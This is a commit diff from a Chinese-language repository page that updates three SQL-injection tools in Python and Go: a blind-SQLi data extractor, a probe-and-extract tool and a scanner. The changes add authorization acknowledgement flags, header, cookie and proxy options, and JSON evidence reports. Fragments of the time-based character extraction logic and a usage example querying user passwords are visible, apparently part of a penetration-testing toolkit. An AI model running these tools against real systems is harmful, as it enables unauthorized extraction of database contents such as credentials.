更新: 359 个文件 - 2026-03-16 23:30:01
这个提交包含在:
@@ -33,6 +33,24 @@ import urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from typing import Callable, Optional, List
|
||||
import sys
|
||||
from pathlib import Path
|
||||
import contextlib
|
||||
import io
|
||||
|
||||
|
||||
SCRIPTS_DIR = Path(__file__).resolve().parents[2] / "scripts"
|
||||
if str(SCRIPTS_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(SCRIPTS_DIR))
|
||||
|
||||
from tool_contract import ( # noqa: E402
|
||||
add_common_args,
|
||||
emit_report,
|
||||
ensure_authorized,
|
||||
make_report,
|
||||
parse_cookie_string,
|
||||
parse_headers,
|
||||
write_evidence,
|
||||
)
|
||||
|
||||
|
||||
class Colors:
|
||||
@@ -332,8 +350,10 @@ def main():
|
||||
)
|
||||
parser.add_argument("--true-indicator", help="布尔盲注真值指示器")
|
||||
parser.add_argument("-t", "--threads", type=int, default=1, help="线程数")
|
||||
add_common_args(parser)
|
||||
|
||||
args = parser.parse_args()
|
||||
ensure_authorized(args, parser)
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
@@ -344,12 +364,7 @@ def main():
|
||||
k, v = pair.split("=", 1)
|
||||
data[k] = v
|
||||
|
||||
cookies = {}
|
||||
if args.cookie:
|
||||
for pair in args.cookie.split(";"):
|
||||
if "=" in pair:
|
||||
k, v = pair.strip().split("=", 1)
|
||||
cookies[k] = v
|
||||
cookies = parse_cookie_string(args.cookie)
|
||||
|
||||
exploit = BlindSQLi(
|
||||
url=args.url,
|
||||
@@ -360,32 +375,81 @@ def main():
|
||||
delay=args.delay,
|
||||
threads=args.threads,
|
||||
)
|
||||
exploit.session.headers.update(parse_headers(args.header))
|
||||
if args.proxy:
|
||||
exploit.session.proxies.update({"http": args.proxy, "https": args.proxy})
|
||||
if args.format != "text":
|
||||
exploit._print = lambda *_args, **_kwargs: None # type: ignore[assignment]
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
result = None
|
||||
stdout_buffer = io.StringIO()
|
||||
capture = contextlib.redirect_stdout(stdout_buffer) if args.format != "text" else contextlib.nullcontext()
|
||||
|
||||
if args.query:
|
||||
result = exploit.extract_string(
|
||||
args.query, args.technique, args.dbms, true_indicator=args.true_indicator
|
||||
)
|
||||
print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}")
|
||||
with capture:
|
||||
if args.query:
|
||||
result = exploit.extract_string(
|
||||
args.query, args.technique, args.dbms, true_indicator=args.true_indicator
|
||||
)
|
||||
|
||||
elif args.extract:
|
||||
result = exploit.auto_extract(args.extract, args.dbms, args.technique)
|
||||
print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}")
|
||||
elif args.extract:
|
||||
result = exploit.auto_extract(args.extract, args.dbms, args.technique)
|
||||
|
||||
else:
|
||||
print(
|
||||
f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}"
|
||||
)
|
||||
print(f"\n示例:")
|
||||
print(f" --extract user 提取当前用户")
|
||||
print(f" --extract database 提取当前数据库")
|
||||
print(f" --extract version 提取数据库版本")
|
||||
print(f' --query "SELECT password FROM users LIMIT 1"')
|
||||
if args.format == "text":
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
if args.query:
|
||||
print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}")
|
||||
elif args.extract:
|
||||
print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}")
|
||||
else:
|
||||
print(
|
||||
f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}"
|
||||
)
|
||||
print(f"\n示例:")
|
||||
print(f" --extract user 提取当前用户")
|
||||
print(f" --extract database 提取当前数据库")
|
||||
print(f" --extract version 提取数据库版本")
|
||||
print(f' --query "SELECT password FROM users LIMIT 1"')
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
evidence_refs = []
|
||||
ref = write_evidence(
|
||||
args,
|
||||
"blind-sqli-result.json",
|
||||
{
|
||||
"result": result,
|
||||
"captured_stdout": stdout_buffer.getvalue()[-1000:],
|
||||
"technique": args.technique,
|
||||
"dbms": args.dbms,
|
||||
},
|
||||
)
|
||||
if ref:
|
||||
evidence_refs.append(ref)
|
||||
status = "verified" if result else "needs-review"
|
||||
severity = "high" if result else "medium"
|
||||
report = make_report(
|
||||
tool="blind-sqli",
|
||||
mode=f"{args.technique}-blind-extraction",
|
||||
target=args.url,
|
||||
status=status,
|
||||
severity=severity,
|
||||
payload_or_probe={"query": args.query, "extract": args.extract, "result": result},
|
||||
request_summary={"param": args.param, "dbms": args.dbms, "threads": args.threads},
|
||||
evidence_refs=evidence_refs,
|
||||
destructive_risk="medium",
|
||||
args=args,
|
||||
)
|
||||
text_lines = [
|
||||
"=" * 60,
|
||||
"Blind SQL Injection Exploit Tool",
|
||||
"=" * 60,
|
||||
f"Target: {args.url}",
|
||||
f"Technique: {args.technique}",
|
||||
f"Result Present: {'yes' if result else 'no'}",
|
||||
f"Status: {status}",
|
||||
]
|
||||
emit_report(args, report, text_lines)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -2,11 +2,13 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -19,6 +21,9 @@ type SQLiExploit struct {
|
||||
Param string
|
||||
Threads int
|
||||
Timeout time.Duration
|
||||
Headers map[string]string
|
||||
Cookie string
|
||||
Quiet bool
|
||||
}
|
||||
|
||||
type InjectionResult struct {
|
||||
@@ -51,6 +56,7 @@ func NewSQLiExploit(target, method, param string, threads int, timeout time.Dura
|
||||
Param: param,
|
||||
Threads: threads,
|
||||
Timeout: timeout,
|
||||
Headers: map[string]string{},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,6 +84,12 @@ func (s *SQLiExploit) SendRequest(payload string) (string, int, error) {
|
||||
}
|
||||
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||
for k, v := range s.Headers {
|
||||
req.Header.Set(k, v)
|
||||
}
|
||||
if s.Cookie != "" {
|
||||
req.Header.Set("Cookie", s.Cookie)
|
||||
}
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
@@ -120,8 +132,10 @@ func (s *SQLiExploit) TestTimeBased(payloads []struct {
|
||||
ResponseLen: respLen,
|
||||
})
|
||||
mu.Unlock()
|
||||
fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n",
|
||||
colorRed+colorBold, colorEnd, payload, elapsed, dbms)
|
||||
if !s.Quiet {
|
||||
fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n",
|
||||
colorRed+colorBold, colorEnd, payload, elapsed, dbms)
|
||||
}
|
||||
}
|
||||
}(p.Payload, p.DBMS, p.Delay)
|
||||
}
|
||||
@@ -159,8 +173,10 @@ func (s *SQLiExploit) TestErrorBased(payloads []struct {
|
||||
DBMS: dbms,
|
||||
ResponseLen: respLen,
|
||||
})
|
||||
fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n",
|
||||
colorRed+colorBold, colorEnd, p.Payload, dbms)
|
||||
if !s.Quiet {
|
||||
fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n",
|
||||
colorRed+colorBold, colorEnd, p.Payload, dbms)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -173,7 +189,9 @@ func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, m
|
||||
var result strings.Builder
|
||||
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@."
|
||||
|
||||
fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query)
|
||||
if !s.Quiet {
|
||||
fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query)
|
||||
}
|
||||
|
||||
for pos := 1; pos <= maxLen; pos++ {
|
||||
found := false
|
||||
@@ -197,7 +215,9 @@ func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, m
|
||||
if elapsed >= 900*time.Millisecond {
|
||||
result.WriteByte(byte(char))
|
||||
found = true
|
||||
fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String())
|
||||
if !s.Quiet {
|
||||
fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String())
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -212,6 +232,21 @@ func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, m
|
||||
return result.String()
|
||||
}
|
||||
|
||||
func parseHeaders(raw string) map[string]string {
|
||||
headers := map[string]string{}
|
||||
if raw == "" {
|
||||
return headers
|
||||
}
|
||||
for _, part := range strings.Split(raw, ",") {
|
||||
pair := strings.SplitN(part, ":", 2)
|
||||
if len(pair) != 2 {
|
||||
continue
|
||||
}
|
||||
headers[strings.TrimSpace(pair[0])] = strings.TrimSpace(pair[1])
|
||||
}
|
||||
return headers
|
||||
}
|
||||
|
||||
func main() {
|
||||
target := flag.String("u", "", "Target URL")
|
||||
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
|
||||
@@ -222,25 +257,27 @@ func main() {
|
||||
extract := flag.String("extract", "", "Data to extract (user/database/version)")
|
||||
query := flag.String("query", "", "Custom SQL query")
|
||||
dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)")
|
||||
header := flag.String("header", "", "Extra headers in Name:Value,Name2:Value2 format")
|
||||
cookie := flag.String("cookie", "", "Cookie header value")
|
||||
format := flag.String("format", "text", "Output format: text or json")
|
||||
output := flag.String("output", "", "Write output to file")
|
||||
evidenceDir := flag.String("evidence-dir", "", "Optional evidence directory")
|
||||
runID := flag.String("run-id", "", "Associated run ID")
|
||||
caseID := flag.String("case-id", "", "Associated case ID")
|
||||
ackAuthorized := flag.Bool("ack-authorized", false, "Confirm the target is owned or authorized")
|
||||
|
||||
flag.Parse()
|
||||
|
||||
if *target == "" {
|
||||
if *target == "" || !*ackAuthorized {
|
||||
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
|
||||
flag.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
fmt.Printf("%sSQL Injection Exploit Tool (Go)%s\n", colorBold, colorEnd)
|
||||
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
|
||||
exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout)
|
||||
|
||||
fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
|
||||
fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
|
||||
fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
|
||||
fmt.Printf("%s[INFO]%s Technique: %s\n", colorBlue, colorEnd, *technique)
|
||||
exploit.Headers = parseHeaders(*header)
|
||||
exploit.Cookie = *cookie
|
||||
exploit.Quiet = *format != "text"
|
||||
|
||||
timePayloads := []struct {
|
||||
Payload string
|
||||
@@ -266,14 +303,12 @@ func main() {
|
||||
}
|
||||
|
||||
var allResults []InjectionResult
|
||||
|
||||
fmt.Printf("\n%s[*]%s Testing Time-based Injection...\n", colorCyan, colorEnd)
|
||||
timeResults := exploit.TestTimeBased(timePayloads)
|
||||
allResults = append(allResults, timeResults...)
|
||||
|
||||
fmt.Printf("\n%s[*]%s Testing Error-based Injection...\n", colorCyan, colorEnd)
|
||||
errorResults := exploit.TestErrorBased(errorPayloads)
|
||||
allResults = append(allResults, errorResults...)
|
||||
extractedResult := ""
|
||||
|
||||
if *extract != "" || *query != "" {
|
||||
var extractQuery string
|
||||
@@ -310,15 +345,54 @@ func main() {
|
||||
}
|
||||
|
||||
if extractQuery != "" {
|
||||
result := exploit.ExtractData(extractQuery, *technique, *dbms, 100)
|
||||
fmt.Printf("\n%s[+]%s Result: %s\n", colorGreen, colorEnd, result)
|
||||
extractedResult = exploit.ExtractData(extractQuery, *technique, *dbms, 100)
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
fmt.Printf("%s[SUMMARY]%s Found %d vulnerabilities\n", colorGreen, colorEnd, len(allResults))
|
||||
for _, r := range allResults {
|
||||
fmt.Printf(" - [%s] %s - %s\n", r.VulnType, r.DBMS, r.Payload)
|
||||
report := map[string]interface{}{
|
||||
"tool": "sqli-exploit-go",
|
||||
"mode": *technique + "-probe-and-extract",
|
||||
"target": *target,
|
||||
"status": "needs-review",
|
||||
"severity": "info",
|
||||
"timestamp": time.Now().UTC().Format(time.RFC3339),
|
||||
"request_summary": map[string]interface{}{"method": *method, "param": *param, "threads": *threads, "dbms": *dbms},
|
||||
"payload_or_probe": map[string]interface{}{"hits": allResults, "extract": *extract, "query": *query, "result": extractedResult},
|
||||
"evidence_refs": []string{},
|
||||
"minimal_validation": "只读探测、最小化注入、可审计回显、可回滚验证。",
|
||||
"authorization_scope": "lab-local, lab-public, authorized-third-party",
|
||||
"destructive_risk": "medium",
|
||||
"run_id": *runID,
|
||||
"case_id": *caseID,
|
||||
}
|
||||
fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
|
||||
if len(allResults) > 0 || extractedResult != "" {
|
||||
report["status"] = "verified"
|
||||
report["severity"] = "high"
|
||||
}
|
||||
if *evidenceDir != "" {
|
||||
_ = os.MkdirAll(*evidenceDir, 0o755)
|
||||
evidencePath := *evidenceDir + "/sqli-exploit-go.json"
|
||||
if raw, err := json.MarshalIndent(report, "", " "); err == nil {
|
||||
_ = os.WriteFile(evidencePath, append(raw, '\n'), 0o644)
|
||||
report["evidence_refs"] = append(report["evidence_refs"].([]string), evidencePath)
|
||||
}
|
||||
}
|
||||
var content []byte
|
||||
if *format == "json" {
|
||||
content, _ = json.MarshalIndent(report, "", " ")
|
||||
} else {
|
||||
lines := []string{
|
||||
strings.Repeat("=", 60),
|
||||
"SQL Injection Exploit Tool (Go)",
|
||||
strings.Repeat("=", 60),
|
||||
"Target: " + *target,
|
||||
"Technique: " + *technique,
|
||||
fmt.Sprintf("Hits: %d", len(allResults)),
|
||||
"Status: " + report["status"].(string),
|
||||
}
|
||||
content = []byte(strings.Join(lines, "\n"))
|
||||
}
|
||||
if *output != "" {
|
||||
_ = os.WriteFile(*output, append(content, '\n'), 0o644)
|
||||
}
|
||||
fmt.Println(string(content))
|
||||
}
|
||||
|
||||
@@ -30,6 +30,22 @@ import urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
SCRIPTS_DIR = Path(__file__).resolve().parents[2] / "scripts"
|
||||
if str(SCRIPTS_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(SCRIPTS_DIR))
|
||||
|
||||
from tool_contract import ( # noqa: E402
|
||||
add_common_args,
|
||||
emit_report,
|
||||
ensure_authorized,
|
||||
make_report,
|
||||
parse_cookie_string,
|
||||
parse_headers,
|
||||
write_evidence,
|
||||
)
|
||||
|
||||
|
||||
class Colors:
|
||||
@@ -322,12 +338,19 @@ def main():
|
||||
parser.add_argument("-p", "--params", help="指定参数 (逗号分隔)")
|
||||
parser.add_argument("-t", "--threads", type=int, default=5, help="线程数")
|
||||
parser.add_argument("--timeout", type=int, default=10, help="超时时间")
|
||||
add_common_args(parser)
|
||||
|
||||
args = parser.parse_args()
|
||||
ensure_authorized(args, parser)
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
scanner = SQLiScanner(timeout=args.timeout, threads=args.threads)
|
||||
scanner.session.headers.update(parse_headers(args.header))
|
||||
if args.proxy:
|
||||
scanner.session.proxies.update({"http": args.proxy, "https": args.proxy})
|
||||
if args.format != "text":
|
||||
scanner.print_result = lambda *_args, **_kwargs: None # type: ignore[assignment]
|
||||
|
||||
data = {}
|
||||
if args.data:
|
||||
@@ -336,32 +359,48 @@ def main():
|
||||
k, v = pair.split("=", 1)
|
||||
data[k] = v
|
||||
|
||||
cookies = {}
|
||||
if args.cookie:
|
||||
for pair in args.cookie.split(";"):
|
||||
if "=" in pair:
|
||||
k, v = pair.strip().split("=", 1)
|
||||
cookies[k] = v
|
||||
cookies = parse_cookie_string(args.cookie)
|
||||
|
||||
params = args.params.split(",") if args.params else None
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
print(f"{Colors.BOLD}SQL Injection Scanner{Colors.END}")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
|
||||
scanner.print_result("INFO", f"目标: {args.url}")
|
||||
scanner.print_result("INFO", f"方法: {args.method}")
|
||||
|
||||
results = scanner.scan_url(args.url, args.method, data, cookies, params)
|
||||
|
||||
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
|
||||
if results:
|
||||
scanner.print_result("SUCCESS", f"发现 {len(results)} 个SQL注入漏洞!")
|
||||
for r in results:
|
||||
print(f" - {r}")
|
||||
else:
|
||||
scanner.print_result("INFO", "未发现SQL注入漏洞")
|
||||
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
|
||||
evidence_refs = []
|
||||
ref = write_evidence(args, "sqli-results.json", results)
|
||||
if ref:
|
||||
evidence_refs.append(ref)
|
||||
status = "verified" if results else "needs-review"
|
||||
severity = "high" if results else "info"
|
||||
report = make_report(
|
||||
tool="sqli-scanner",
|
||||
mode="non-destructive-sqli-scan",
|
||||
target=args.url,
|
||||
status=status,
|
||||
severity=severity,
|
||||
payload_or_probe={"hits": results, "params": params or sorted(data.keys())},
|
||||
request_summary={
|
||||
"method": args.method,
|
||||
"params": params or [],
|
||||
"threads": args.threads,
|
||||
"header_names": sorted(parse_headers(args.header).keys()),
|
||||
},
|
||||
evidence_refs=evidence_refs,
|
||||
destructive_risk="medium",
|
||||
args=args,
|
||||
)
|
||||
text_lines = [
|
||||
"=" * 60,
|
||||
"SQL Injection Scanner",
|
||||
"=" * 60,
|
||||
f"Target: {args.url}",
|
||||
f"Method: {args.method}",
|
||||
f"Hits: {len(results)}",
|
||||
f"Status: {status}",
|
||||
]
|
||||
emit_report(args, report, text_lines)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
在新工单中引用
屏蔽一个用户